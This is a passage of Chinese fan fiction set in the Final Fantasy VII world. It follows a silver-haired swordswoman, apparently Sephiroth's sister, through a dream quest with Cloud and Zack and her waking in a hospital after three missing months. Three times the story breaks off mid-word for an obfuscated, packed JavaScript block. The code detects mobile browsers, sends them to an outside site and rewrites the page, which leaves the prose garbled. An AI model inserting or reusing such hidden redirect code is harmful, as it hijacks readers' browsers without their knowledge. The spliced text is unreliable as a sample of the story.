"我当然没有发烧,"我拍开克劳德的手,"倒是你,老是莫名其妙的头疼。" "......"金发剑士没有说话,只是用那种担忧的眼神看着我。 "前辈!营地准备好了!"扎克斯的声音从远处传来,打破了这份沉默。 我站起身,拍了拍衣服上的灰尘:"走吧,明天还要赶路呢。" 克劳德却没有动,他仍然盯着我刚才"说话"的方向:"你真的...没看到什么吗?" "除了一个爱操心的陆行鸟,什么都没看到,"我耸耸肩,"说起来,你刚才为什么要掐我?" 他的表情瞬间变得茫然起来:"我...不知道。有时候会看到一些画面...然后就..." "然后就想掐死我?"我挑眉,"你还真是个危险分子啊。" 克劳德猛地站起来:"不是的!我只是...只是..." "只是什么?" "...想保护你。"他的声音很轻,"但是每次看到你的眼睛,就会想起..." 我叉着腰:"想起什么?我可是队长诶,用得着你保护吗?" 克劳德欲言又止,最后只是摇摇头。我知道他又在钻牛角尖了,这家伙就是爱胡思乱想。 "好了,别想那么多,"我拍拍他的肩,"我们可是要去打魔王的人,哪有时间纠结这些。" 营地那边,扎克斯已经生起了篝火。夜晚的风有些凉,带着森林特有的潮湿气息。我们三个围坐在火堆旁,扎克斯还在兴致勃勃地讨论明天的路线。 "我觉得应该往北走,"他指着地图说,"那边有座山,说不定魔王的城堡就在山顶!" "为什么魔王一定要住在山顶?"我打了个哈欠,"我要是魔王,就住在温泉旅馆。" 克劳德突然开口:"魔王...可能就在我们意想不到的地方。" 我转头看他:"哦?你知道些什么?" "不,只是直觉,"他摇摇头,又露出那种困惑的表情,"总觉得...有什么不对。" 扎克斯笑着说:"克劳德你想太多啦!有前辈在,我们肯定能找到魔王的!" 我得意地点点头:"那是当然!" 夜深了,扎克斯已经躺在睡袋里呼呼大睡。克劳德坐在篝火旁守夜,我则靠在树上闭目养神。 克劳德突然叫我,"如果...如果有一天我真的伤害了你..." "打不过我的,"我打断他,"而且你掐我的时候,力道跟挠痒痒似的。" "我是认真的,"他的声音有些发抖,"如果那个时候来临..." "那个时候?"我睁开眼,"什么时候?" 克劳德握紧拳头:"我不知道...但是总觉得会发生什么..." "喂喂,"我坐直身体,"你该不会是被魔王下咒了吧?" "不是的,"他摇头,"这种感觉...好像一直都在。" 我看着他纠结的表情,突然觉得有些好笑:"你啊,就是想太多。有什么事直接说出来不就好了?" "有些事...说不出来。" "那就别说,"我站起来伸了个懒腰,"反正我相信你。" 克劳德愣住了:"为什么?" "因为我是队长啊,"我理所当然地说,"而且你比我弱,打不过我。" 他显露出了稍稍郁闷的神情,可能是因为我再次强调了实力差距,瞥了我一眼,就注意到了我随意的笑容。 “……” 仿佛什么东西轻轻散去了,他罕见的笑了一下。 夜风吹过,火堆发出轻微的噼啪声。克劳德抬起头,金色的发丝在火光中闪烁。 “你说得对……” 今天是我白毛太刀侠决定出发讨伐魔王的第二天。 我和我的两个大剑侠队友一路往北走,路过了一个村落的遗址。 周围尽数是烧焦的痕迹。 “啊……” 我挠了挠头,最后开始看地图。 这里是——巴诺拉村? 扎克斯罕见的不怎么说话了,当克劳德质疑我地图问题的时候,也听不到我一号小弟的声援,属实令人疑惑。 不过巴诺拉村旁也稍稍建成了新的村落,我们于是决定一齐去补充一下资源。 没想到这种地方最出名的是一种叫做笨苹果的苹果。 我指着这紫色的果子,与商贩争执。 “这真的能吃吗?没毒?” "这当然能吃,"商贩笑呵呵地说,"这可是巴诺拉特产的笨苹果,全世界独一份!" 我将信将疑地拿起一个紫色的苹果,在手里掂了掂。说实话,这颜色看起来就很可疑,像是什么毒蘑菇。 "前辈,"扎克斯终于开口了,"笨苹果真的很好吃。" 我转头看他,黑发少年的表情有些黯然。难道是因为这里的遭遇?但是扎克斯不是贡加加出身吗? "你来过这里?" "嗯,"扎克斯点点头,"以前...有个朋友就住在这里。" 我咬了一口苹果。出乎意料,果肉清甜多汁,完全不像外表看起来那么诡异。 "还不错嘛,"我边吃边说,"比我以前吃过的苹果都好吃。话说回来,你那个朋友现在在哪?" "不见踪影。" 我抬头望去,萨菲罗斯的声音没有什么变化,听不出悲伤的情绪,也感觉不到任何其他的感伤。 好像只是在阐述一个事实似的。 “哦,这样啊,你吃苹果吗?” 我伸出手,捏住一颗果子,准备递给他。 如果他吃了,嘻嘻,那就让他付钱吧。 “……” “你笑什么?” 那种似笑非笑的表情又出现在了男人脸上。 “你从来没变过,什么想法都写在脸上啊。” 男人没有接过我手里的果子,明明是白天,那双莹绿色的眸子发出淡淡微光。 我将手里的果子一下往他脸上砸去。 “前,前辈……” 扎克斯唔了一声,接过我扔到他额头上的笨苹果,好像在想什么的黑发剑士回过了神。 “你这是什么表情?怎么不高兴呀。” 他接过苹果,却只是看着它:"前辈,你相信命运吗?" "命运?"我歪着头,"什么命运?" "就是…"他似乎在组织语言,"有些事情,不管怎么做都无法改变…" 我天哪,现在就连扎克斯都会说谜语了? 所以这跟你不高兴有什么关系? "怎么可能,"我打断他,"命运不就是用来改变的吗?" 扎克斯愣了一下,随露出那个熟悉的爽朗笑容:"前辈说得对呀!" 看到那种愚蠢的表情又回到了他身上,我才心满意足的咬了口笨苹果,而后发现没有付钱后有些尴尬,伸出手用刀背拍了拍正在旁边选东西的克劳德。 "当然是对的,"我得意地说,"不然我们为什么要去打魔王?还不是为了改变命运!对了克劳德你去付钱。" 克劳德在旁边发出一声无奈的叹息,他的表情变了变,在我把我的钱袋递给他的时候才恢复正常。 呵呵,天天斤斤计较的金毛,花你点Gil怎么了? "怎么了,陆行鸟?"我转向他,"你又有意见?" "不,"他摇头,付了钱后将钱袋还给我,"只是在想,如果真的能改变命运…" “那我要迎娶爱丽丝公主!” 每个勇者的必经之路,打败魔王,然后迎娶公主。 我的话让两个队友都暂时停止了思绪,他们的表情十分奇怪,又带着惊讶,一齐看着我。 "公主?"克劳德的声音带着几分困惑,"你是说…爱丽丝?" "对啊,"我骄傲地说,"打败魔王后就能迎娶公主,这不是常识吗?" 怎么了? 不过,我就知道我的情敌们不会给我好脸色。 爱丽丝公主是盖亚帝国内唯一的古代种,很喜欢鲜花,每次我路过的时候她都会笑着给我几朵。 但是某些克劳德和扎克斯总是会出现在我去教堂的必经之路上,真是令人生厌,由他们时不时的就想要当队长的举动来看(尤其是克劳德),那种心思简直昭然若揭。 "所以公主就是我的了!"我得意地宣布,"这可是勇者的传统!" 扎克斯和克劳德交换了一个复杂的眼神。 "前辈..."扎克斯欲言又止,"其实..." "其实什么?"我叉着腰,"你们该不会也想娶公主吧?" 克劳德的脸微微泛红:"不是这样的..." "哦~"我拖长音调,"所以你们承认了?" "我们只是..."扎克斯挠了挠头,"觉得应该先问问爱丽丝的意见..." 我嗤之以鼻:"这还用问?每次我去教堂的时候,她都会给我鲜花!这不就说明..." "她给每个人都会送花,"克劳德说。 "那不一样!"我坚持道,"她给我的花都是特别挑选的!" 扎克斯脸上露出无奈的笑容:"前辈,你真的觉得爱丽丝会..." "会什么?" "没什么,"他摇摇头,"只是觉得或许应该先专注于找到魔王。" 我眯起眼睛:"你们这是在嫉妒吧?因为公主喜欢我?我告诉你们,爱情之间可不分什么兄弟…" 最后关于感情的讨论不了了之,或许是因为摊主看我想要当场动手,急着收摊了吧。 什么,拔刀? 我没有。 是克劳德自己把他的剑砸在我刀口上的,也是扎克斯自己去拿自己的头发碰瓷我的大太刀的,跟我无关。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479156|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天是我白毛太刀侠决定出发讨伐魔王的第七天。 一周时间已然过去,我们居然没有找到一点关于魔王的线索,真是令人哀叹。 在火堆前,我吃着从镇子上靠扎克斯帮人清理魔物赚来的肉干,一边跟克劳德确认。 “魔王叫萨菲罗斯,一头白毛,是个用太刀的,很高,长得也好看,对吧?” 听到这个名字,金发剑士有些沉默的点了点头。 “可恶啊,难道说我是魔王吗?感觉除了名字之外我完全符合这个形容。” 旁边的扎克斯诚实的笑了一下。 “你不高啊前辈。” “闭嘴克劳德。” 没有说话的陆行鸟突然被点了一下,他疑惑的看我一眼。 看什么看,说的就是你,谁叫你和我差不多高呢克劳德? "你在说什么呢?"克劳德深吸一口气,"你和他完全不一样。" "哪里不一样?"我掰着手指数起来,"首先,我们都有一头帅气的银发。其次,我们都用太刀。还有..." "前辈,"扎克斯打断我,"你忘了最重要的一点。" "什么?" "魔王很可怕,"他认真地说,"但前辈你一点都不可怕。" 我挑眉:"这是在说我弱吗?" "不是!"扎克斯连忙摆手,"我是说前辈你很可爱..." 克劳德突然站起身,转身走向营地边缘。月光下,他的背影显得格外孤寂。 "喂,你去哪?"我问。 "去巡逻,"他头也不回地说。 扎克斯叹了口气:"前辈,有些事情..." "有些事情什么?"我塞了块肉干到他嘴里,"你们今天都怪怪的。克劳德又开始钻牛角尖了是吧?" 黑发剑士嚼着肉干,露出复杂的表情:"不是钻牛角尖..." "那是什么?该不会又要发病了吧?我去找他。" "等等!"扎克斯拉住我,"让他静一静比较好。" 我撇撇嘴,重新坐下:"真是麻烦。对了,明天我们去哪找魔王?" 扎克斯愣了一下:"前辈还是这么...乐观啊。" "那当然,"我得意地说,"我可是要当勇者的人!" "说到这个,"扎克斯犹豫了一下,"如果...如果真的遇到魔王,前辈打算怎么办?" 我掏出太刀,在火光中比划了一下:"当然是打败他啊!然后去娶公主!" "就这么简单?" "不然呢?"我反问,"难道还要和魔王讲道理吗?" 扎克斯张了张嘴,最后只是笑着说:"前辈说得对。" 远处传来克劳德的脚步声,他似乎在森林边缘徘徊。我站起身,拍了拍衣服。 "好了,该去把那个爱钻牛角尖的陆行鸟抓回来了。" "前辈..." "放心,"我拍拍扎克斯的肩,"我最擅长处理这种事了!" 我拿起背后的大太刀,就往森林里跑,走着走着,就看到了克劳德,他正半抱着那把黑色大剑,坐在树下。 “克劳德,想什么呢?” 我笑着挥了挥手,就走过去,坐在他旁边。 “没有。” 银发的男人半坐在树下,望着前方,视线不知望在何处。 “哦,所以为什么这么郁闷啊……” “……不是郁闷。” 视线仿佛才缓缓聚焦,接着微微偏转,落在我身上。 仿佛被某种毒蛇盯上的感觉。 “萨菲罗斯,你吃错药了吗?” 他低笑一声。 “忘了我吗?果然……你还没有醒。” 他的右手慢慢的搭在我脸上,接着,不轻不重的捏了一下,黑色皮革的触感微凉,我稍稍皱眉。 “别捏我。” 萨菲罗斯没有回答我的抱怨,而是轻轻靠近了些,低头,他的额头与我的相抵,带来温热的触感,同时莫名的,又让人感到脊背发凉。 呼吸交缠间,他叫了我的名字。 “我们是一体的,你是我的妹妹,是独一无二的存在,你是我的……” ? 萨菲罗斯什么时候喜欢给自己戴高帽了呢? 不过第三个昵称我是有些认同的。 我忽然伸出手,捏住了他的鼻子。 “……” “……” 过了很久,他仍然用那种似笑非笑的眼神看着我。 我瞪大了眼睛,缓缓松开手。 “你不用呼吸吗?” 萨菲罗斯,你进化了? “你也可以,我的妹妹。” 最后四个字,宛若眷恋一样拉长,停留在他的唇舌间。 垂死病中惊坐起。 克劳德不停的晃着我的肩膀,我都觉得我的脑袋都要被甩掉了,我醒过来后推搡他的肩膀,他才放开我。 "克劳德,你再晃我脑袋都要掉了。" 我揉了揉发晕的脑袋,从树底下坐起来。金发剑士的表情写满了担忧,那双蓝眼睛一眨不眨地盯着我。 "你刚才…"他欲言又止。 "我怎么了?" "一直在说梦话,"克劳德皱眉,"还说什么''不用呼吸''…" "哦,"我恍然大悟,"我梦到我在掐别人鼻子。" “……” 金发剑士叹了口气后,牵着我的手,带我回了原先的火堆。 今天是我白毛太刀侠决定出发讨伐魔王的最后一天。 最后,找不到魔王的太刀侠和两个大剑侠返回了盖亚王国。 我们先是回了神罗冒险者工会提交了任务报告,就来到了酒馆。 真是闻者伤心,见者流泪。 我们在大陆上找了半年,都没有寻找到魔王的踪迹——仿佛这个世界除了我们几人外,就无人知晓那个名字似的。 “可恶啊,这该让我怎么娶公主呢?” 我猛地喝了一口酒,把脸半埋在桌子上,接着愤愤不平的敲着桌子。 “前辈,别敲了……呃,桌子会坏的。” 这么说着,扎克斯伸出手想要阻止我,可是我已经把装着酒液的杯子不小心撞倒了,砰的一下掉在地上,我啊了一声,忽然指着那边的克劳德。 “陆行鸟,我都让你小心一点了。” 蔚蓝的眸子稍稍瞪大,他最后也只是低低的呵了一声。 我不知道克劳德你不爽些什么,看板娘是你的青梅竹马,她肯定不会为难你,但我就不一定了,我大概还要赔钱呢! 克劳德看着醉醺醺的女人指责他打翻酒杯,内心泛起一丝无奈。 她总是那样笑着。 蒂法的视线已经从吧台投了过来,他抿了抿唇,最终露出了一个浅浅的微笑。 是的,他现在已经是1st冒险者了,不是吗? 能够和自己的挚友,还有憧憬信赖的前辈一起冒险…… 能够保护自己想要保护的人。 只要,只要…… 蒂法端着一瓶麦酒走了过来,她听到了他们的话,表情也没有什么变化。 “还要一瓶吗?” 对面的银发女人举起了手。 “我要我要,扎克斯请客,对吧?” 黑发男人挠了挠头后,显露出爽朗的微笑。 “啊……我还以为是前辈买单呢,既然如此,那就让我来请客吧。” “干得漂亮扎克斯,你再多请我喝几杯,说不定关于萨菲罗斯的线索就这样凭空出现了!” 克劳德叹了口气后,放下杯子,正准备说些什么,就注意到了蒂法。 她好像没有任何的异色,仿佛从来不知道那个名字似的。 那是萨菲罗斯啊。 那个毁了他和她的家,那个…… “蒂法?” 黑发的女人转过头,对他显露出疑惑的表情。 “你不知道萨菲罗斯吗?” “……那是谁?” ———— 2007年。 Sephiroth copy发展顺利,这是一个用于验证杰诺瓦团聚效应的计划。 但在今年出了变故。 绿色的魔晄液体中,黑发男人猛地睁开了眼,安吉尔的身影一闪而过。 “你这样也算是神罗战士吗?” “我不需要这么没用的神罗战士。” “她看到了会嘲笑你的吧?” 他猛地敲击起玻璃,一下,两下,三下—— 砰。 扎克斯狼狈的摔了出来。 打晕了前来检查的实验员,扎克斯注意到了一旁还在其中的克劳德。 扶着魔晄罐子,男人按下了一旁的按钮。 金发的小兵从魔晄中勉强倒了出来,在恍惚的间隙中,睫毛微颤。 现在还在杰诺瓦的连携梦境中冒险着啊。 她去哪了呢? 或许,也在哪里沉睡着。 完。 14. 第 13章 陌生的天花板。 手好痛。 勉强的睁开眼,模模糊糊的视线凝聚在我的右手上,一只铁钳一样的长手死死攥着右手手腕。 我感觉自己可以考虑做义肢手术了,换个机械臂肯定帅。 不过现在不是想这个的时候。 明明头晕,现在手也痛。 到底是谁跟我仇恨这么大? 稍稍直起身子,眩晕感慢慢淡去,我才发现一堆银发散落在我膝弯的被子上。 是萨菲罗斯,好像趴在我腿上睡觉。 他身上一股血腥和战场上特有的烟尘,甚至他总是精心养护的银发上都带着血污。 怪了,难得见他这么狼狈。 他一般不都把自己的头发看得跟正宗一样重要吗? 上次护发素的事情被发现后,还扣了我两个月的零用钱。 正要开口说话,却感觉到了喉咙里一股压不下的血腥味,于是我选择了暂时闭嘴。 拯救右手行动正式开始。 勉强伸出左手,我去掐萨菲罗斯的脸,他的睫毛稍稍颤抖后,还是没有醒来。 于是我恶向胆边生,捏住了他的鼻子。 一秒。 一点反应都没有。 三秒。 依然没有反应。 大概过了十秒左右,萨菲罗斯的手稍稍松开了些许,我松了口气,但很快就变成了疑惑——因为他直接把我的右手拉到了胸前,就像是什么收藏品一样,死死的护着。 我整个人都被拽起来了。 肌肤与空气接触,这种时候我才感觉到我的左小臂上被加上了一个臂环,特殊色彩的小型魔晶石卡在皮革布料中央,时不时闪烁着流光。 我怎么还有装饰品了? 关于记忆,我只知道我做完任务后准备跑到其他的城池内摸鱼——结果一睁眼,就是在这大概是病床的地方,手要断掉,萨菲罗斯也跟死了一样趴在我身上。 就在我继续研究那个臂环的时候,忽然感觉到了一丝异样。 萨菲罗斯的呼吸变得不太规律。 低头看去,发现他的睫毛在轻轻颤动,像是在做什么噩梦。这很难得——我很少见过萨菲罗斯睡觉的样子,因为和他休息的时候一般都是我先睡着。 "喂,"此刻语言系统勉强恢复,我再次掐住他的鼻子,第一次觉得他的高鼻梁还是有好处的。 "醒醒。" 他的眉头皱得更紧了,抓着我右手的力道也随之增大。我龇牙咧嘴地忍着疼,继续用左手去拍他的脸。 "萨菲罗斯,你再不醒过来,我就要把你的护发素全换成肥皂水了。" 这句话显然起了作用。他猛地睁开眼睛,那双魔晄色的眸子中闪过我从未见过的情绪——恐惧?焦虑?但那转瞬即逝的神色很快就被他惯常的平静所取代。 "你醒了。"他说,声音有些沙哑。 "是啊,"我翻了个白眼,"能松开我的手了吗?我快感觉不到它了。" 他低头看了眼自己死握着我右手的姿势,眉头微蹙,却没有立即放开。 "你还记得发生了什么吗?"他问。 我摇摇头:"不太记得。我只记得准备去某个地方摸鱼...然后就醒在这里了。" “你消失了三个月……” —— 她失踪了整整三个月。 出完任务的萨菲罗斯回到基地,没有见到那个总是凑过来对他上下评价的身影。 大概是又跑到哪里去玩了吧。 萨菲罗斯这么想着,他在临时据点等了几天。 依然不见她的踪影。 安吉尔和杰内西斯都从任务回来了,那个名为扎克斯的2nd也在问她的踪迹。 “前辈去哪了呢?真令人担心……“ 杰内西斯挑了挑眉,无所谓的放下手里的《Loveless》。 “你也知道她的个性,找到什么好玩的就什么都忘了,指不定跟谁跑了。” “不会的,因为这里还有大家在吧?前辈不会乱跟别人离开的!” “谁说的?她闲的住吗?看那么多怪书,某天要是谁说她是‘主角’,估计就会傻笑着被拐走了。” “……” 安吉尔看着自己的弟子和友人争执, 黑发少年很快就急得团团转了,红发男人好像没什么良心的靠着墙轻笑。 但设备的后台显示,反而是杰内西斯第一个手快的领了相关地区的搜查任务。 转过头,黑发的1st就注意到了萨菲罗斯。 和往常一样冷静。 冷静的有些令人不安。 晚上的1st会议上,银发男人忽然站了起来,与杰内西斯相对视。 “那个任务,让我去做。“ “让你去做?然后呢,如果把她带回来,你要做什么?” 萨菲罗斯望着对面的他:"……什么意思?" "字面意思,"红发的1st轻笑一声,"找到她之后,你打算怎么惩罚她的任性?还是继续纵容她?" 空气在瞬间凝固。安吉尔和拉扎德都察觉到了不对劲,但还没等他们说什么,杰内西斯继续道: "她就像个无法无天的孩子,而你,萨菲罗斯,就是那个永远纵容她的兄长。" 萨菲罗斯的手按在正宗刀上,声音冰冷:"这与你无关。" "怎么会无关?"杰内西斯合上《LOVELESS》,"如果她回来,你要怎么管束她?把她关起来?" "萨菲罗斯,你需要正确的对待她,她是一个强大的战士,是神罗的1st特种兵。" 会议室内的空气凝固了。 他站在那里,银发在灯光下闪烁,面容沉静如常,一言不发。 "够了,杰内西斯。"安吉尔试图打圆场。 "为什么要够?"红发的1st冷笑,"难道我说错了吗?她就像个没有约束的野兽,四处撒野。" 萨菲罗斯缓缓抬起头:"你想说什么?" "我想说,"杰内西斯一字一顿,"如果你真的在乎她,就应该让她学会责任和正常的观念。她不是你的玩具,也不是你的所有物,她是一个独立的战士。" "你没有资格评判我们的关系。"萨菲罗斯的声音如寒冰。 "那这个任务我也不会交给你。" 这场会议不欢而散。 第二天,杰内西斯接过任务情报,与扎克斯和安吉尔打了招呼后,前往搜寻。 当天下午,萨菲罗斯第一次没有按照官方的任务行事,离开临时据点。 没有一丝她的踪迹。 更让他感到……焦虑的是,那种他们之间一直存在的,若有若无的联系仿佛也消失不见。 就像是—— 萨菲罗斯不愿意去思考那种可能性。 带着一身血污的英雄在搜寻的第三天回到了据点,杰内西斯仍未归。 没有与任何人交谈,他仿佛只是回来寻找什么,随后便再次离去,即使是五台前线的任务和加急的战报,也被这位英雄彻底无视。 神罗的警示,友人的提醒,他人的疑惑。 没有影响他的执着。 仿佛是一直被细线束着关节的人偶第一次有了自己的想法,挣断那些无形的操纵。 不管不顾的向前。 于是五台和神罗的战争暂且陷入了胶着状态,最大的临时据点内只剩下一位1st固守。 三个月后。 终端震动的一瞬,一直在担忧着同伴去处的安吉尔就放好大剑,屏幕亮起后,显示的发讯人是杰内西斯。 【来】 【来哪?杰内西斯,你在说什么?你在哪? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479157|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到她了吗?】 没有再回复了,接下来的消息也石沉大海。 当天下午,收到士兵通知之时,黑发1st立马放下了训练营的任务,赶到据点的入口。 周围好似提前被清场了,没有什么人,有几个穿着神罗制服的工作人员在注意到安吉尔后,经历后让开了位置。 是杰内西斯和…… 她。 两人的血液混着在一起,已经在地上结成了凝块。 银发女人的发丝散落一团,发圈不知所踪,半张脸上都是猩红的色彩,红发男人的皮衣被撕裂开了好几个口子,狼狈不堪。 杰内西斯倒在地上,而她压在他的胸前,两人的双目都紧闭着,好像陷入了昏迷。 而那把半人长的大太刀直接贯穿两人的胸膛。 周围萦绕着即使是看着都让人感到不安的莹绿色光点,若隐若现,暂时无一人敢靠近。 一旁仿佛是来自科学部的管事人推了推眼镜,走过来,将一个臂环递给了安吉尔。 “麻烦了安吉尔先生,你先将这个臂环系在她的左臂上,再把那把刀拔下来。” 他打量着皮革上的魔晶石,阳光下,带着奇异的色彩。 “这是什么?” 无人应答。 —— 待到萨菲罗斯返回基地之时,就听闻了她与杰内西斯一齐返回的消息。 ……是他找到了她。 混杂的思绪暂且放下,三个月从未休息的银发男人第一时间赶到了她所在的休息室,在中间,银发的女人躺在白色的病床上。 整整三个月的时间,他踏遍了五台每一寸土地,在每一个可能的地方搜寻她的踪迹。期间他经历了无数次战斗,面对过数不清的敌人。 但找不到她。 那种从小就存在的,若有若无的感应,第一次在他的生命中完全消失了。 在见到她的一瞬,那种联系开始恢复,像是断裂的琴弦重新接续,又像是散落的星光重新汇聚。 高度紧张的精神因为返回的安全感快速松懈,而之后显现的就是难以压抑的疲惫和倦意,他强行打起精神走了过去,坐在她旁边。 男人摘下沾满血污的手套,修长的手指轻轻拂过她略显苍白的脸颊。 病床旁的仪器发出规律的滴答声,萨菲罗斯的视线落在她左臂上那个特殊的臂环上。那块魔晶石闪烁着诡异的光芒,像是在提醒着什么。 "这是什么?" 他喃喃自语。 门外传来脚步声,是安吉尔。 黑发的1st站在门口,神情复杂地看着这一幕。 "杰内西斯的情况如何?"萨菲罗斯没有回头,但还是开口询问。 "暂时稳定了,"安吉尔叹了口气,"但他的伤势...恢复得很慢。" 萨菲罗斯微微点头,手指无意识地抚过她散乱的银发。 "你也该休息了,"安吉尔说,"这三个月来你一直在外面......" "我很好。"萨菲罗斯打断了他的话。 安吉尔欲言又止,最后还是选择了离开。关门声很轻,但在寂静的病房中依然清晰可闻。 萨菲罗斯终于放任自己的疲惫显现出来。 他微微俯下身,额头轻轻抵着床沿。银色的长发垂落,与她的发丝交织在一起,难分彼此。 在这个姿势下,他终于闭上了眼睛。 但他的手始终没有松开她的手。 仿佛在确认什么。 夜色渐深,月光透过窗户洒在病房内,将两人的银发染上一层柔和的光晕。萨菲罗斯的呼吸逐渐变得平稳,这是他三个月来第一次真正的休息。 —— "三个月,"他的声音有些沙哑,"你失踪了整整三个月。" "哦,"我思考了一下,"这么久啊。" 15. 第 14章 谢谢。 人在前线,正准备去爽吃五台美食,一眨眼出现在病床上。兄弟说他找了我三个月,朋友之前更是跟我一起被串成串串香。 按照奇异的发展,我接下来应该觉醒系统了吧,什么时候才会出现呢? 茫然地听完了安吉尔的解释后,我啊了一声。 “是杰内西斯把我带回来的?他现在还在昏迷?” 说实话,我不是很在乎我自己的命,但是得知居然是那个平时说两个字就惯性踩我一脚的红毛…… 安吉尔的表情有些复杂,他的视线扫过我左臂上的臂环后,叹了口气。 “是。而且不知为何,他的伤势恢复十分缓慢……” 我并不知道那天发生了什么,也没有别人知晓,目前唯一知道的可能就只有在手术台上的杰内西斯。 总而言之,用正常的观念去思考,我现在可能是欠了他一条命。 怎么还给他呢? ……等他醒了再说吧。 我指了指在旁边站着的萨菲罗斯,自从我醒来,他已经阴魂不散的跟踪了我三天了。 “那他呢?他这样正常吗?” “……” 安吉尔回了我一个意味深长的眼神。 这又是什么意思,到底是正常还是不正常,我已经连续三天没有跟扎克斯逃去郊外摸鱼了,简直要在据点内发霉。 就在此刻,荷兰德从里面的隔间出来,我们一齐走了过去。 安吉尔有些担忧的发问。 “荷兰德博士,杰内西斯情况怎么样?” “魔晄从腹部的伤口入侵体内,这是大问题。” 听闻他的话,我摸了摸自己小腹处已经连疤都不剩的部位。 对于我们1st来说,这并不是什么严重的伤口,先前我在训练场上甚至给了杰内西斯穿胸一刀(当然我也被他砍了四剑),没有半天他就依然活蹦乱跳。 “没有治疗法吗?” “首先需要输血。” “我来。” 没等其他人说些什么,站在我旁边的萨菲罗斯率先向前一步。 对面的荷兰德转头望向他,最后回答。 “你的血不行。” 啊,为什么萨菲罗斯的血不行呢? 那就让我出马。 我在安吉尔开口前先举起了手,小臂上的臂环随之晃了晃。 “我来,我来我来!” 荷兰德干咳两声,他的表情有些尴尬,张了张嘴,咽下了原本要说的话。 “……你更不行了。” ?? 这是什么意思? "什么叫我更不行?"我皱起眉头,"难道血液还分三六九等吗?" 萨菲罗斯的目光在我和荷兰德之间徘徊,似乎也在等待解释。 "这个问题…"他斟酌着用词,"涉及到一些机密研究。总之,你和萨菲罗斯的血液都不适合。" 过了会,安吉尔和荷兰德一齐进了手术室,又只剩下我和萨菲罗斯在手术室外等待。 他双手环抱着胸,靠在走廊的墙上,银色的长发在灯光下泛着淡淡的光泽。 我坐在长椅上,百无聊赖地晃着腿,转过头,望见了萨菲罗斯若有所思的表情。 “你怎么了?” 我发问。 “……” 银发的男人闻言,微微偏头与我对视。 几近所有的特种兵都泡过魔晄,作为神罗战士,他们留有了一种特征——青绿色的魔晄眸子。 而我和萨菲罗斯与其他战士不大一样。 仿若非人的竖瞳,灯光晦暗之时,会散发出微亮的荧光。 见他不说话,我笑着猜测。 “哈哈,你不会是因为没有给朋友输血而难过吧?” 说实话,我一直都有些搞不懂萨菲罗斯跟杰内西斯的关系,红毛针对我和针对他的语气是不大一样的——但具体哪里不一样,我又说不上来。 一般我和杰内西斯争执之时,都是萨菲罗斯出面制止,于是话茬又转到了他身上,红发的1st一口一个“英雄”,好像意有所指。 如果最后不是我跟杰内西斯打起来,那萨菲罗斯就会跟他打起来——啊对,结局总是安吉尔把我们三个说教一顿。 但大家都是开心的吧。 ……人际关系真是复杂,我现在明白为什么有的小说里的主角里会选择独孤求败了。 "没有,"他回答得很快,"我只是在想一些事情。" “在想什么?是跟刚刚输血有关的吗?你好奇的话,等到我们回了米德加,我可以帮你偷一些宝条的文件,不过我看不懂哪个是你要的,你给我个位置就行。” 到时候我就可以让他看完后解释给我听了,好哎。 “不要去偷任何文件……是因为,我们是特殊的。” 银发男人抿了抿唇,给予我这么个模糊不清的解释。 但是对他有不小了解的我一眼就看出了他也不是很明白。 算了,现在最重要的不是这个。 “你觉得我应该怎么报答杰内西斯好呢?我好像欠了他一条命。” 报答 ——这对我来说是个相当陌生的概念。 比如,从今天开始,我就不会去绞尽脑汁的想着怎么把他的《LOVELESS》烧掉,也不会想着把杰内西斯的午饭弄掉,更不会在训练场上故意攻击他喜爱的书。 甚至会调整一下我拿下神罗的未来——扎克斯当副总裁,萨菲罗斯当保安,安吉尔当教官,杰内西斯可以当一个部长。 萨菲罗斯思考了一会,回答道:"不用想太多。" "怎么能不想太多?"我皱着眉,"这可是救命之恩啊!在小说里都是要以身相许的大事!" 他的表情瞬间变得很微妙:"…你最近又看了什么小说?" "怎么了?"我有些严肃的说,"这可是很常见的剧情发展。" 萨菲罗斯叹了口气:"那你准备怎么''以身相许''?" "这个嘛…"我摸着下巴思考,"等他醒了先请他吃顿饭?问问他要我怎么’以身相许‘?" 我决定把问题抛给杰内西斯,同时顺便问问他喜不喜欢科学部部长的未来安排。 萨菲罗斯的眉头皱得更紧了:"不要再说''以身相许''这个词。" "为什么?" "因为你根本不知道这是什么意思。" 我撇撇嘴,开始回忆:"知道啊,就是……嗯……好像是……" 看着我支支吾吾的样子,萨菲罗斯轻轻摇头:"所以说,不要随便用不了解的词。" 萨菲罗斯这种教育的语气让我有些不爽,我当然明白这个词的意思,情节里面,那不就是—— “不就是当他的后宫吗?” 银发男人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479158|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情瞬间凝固。 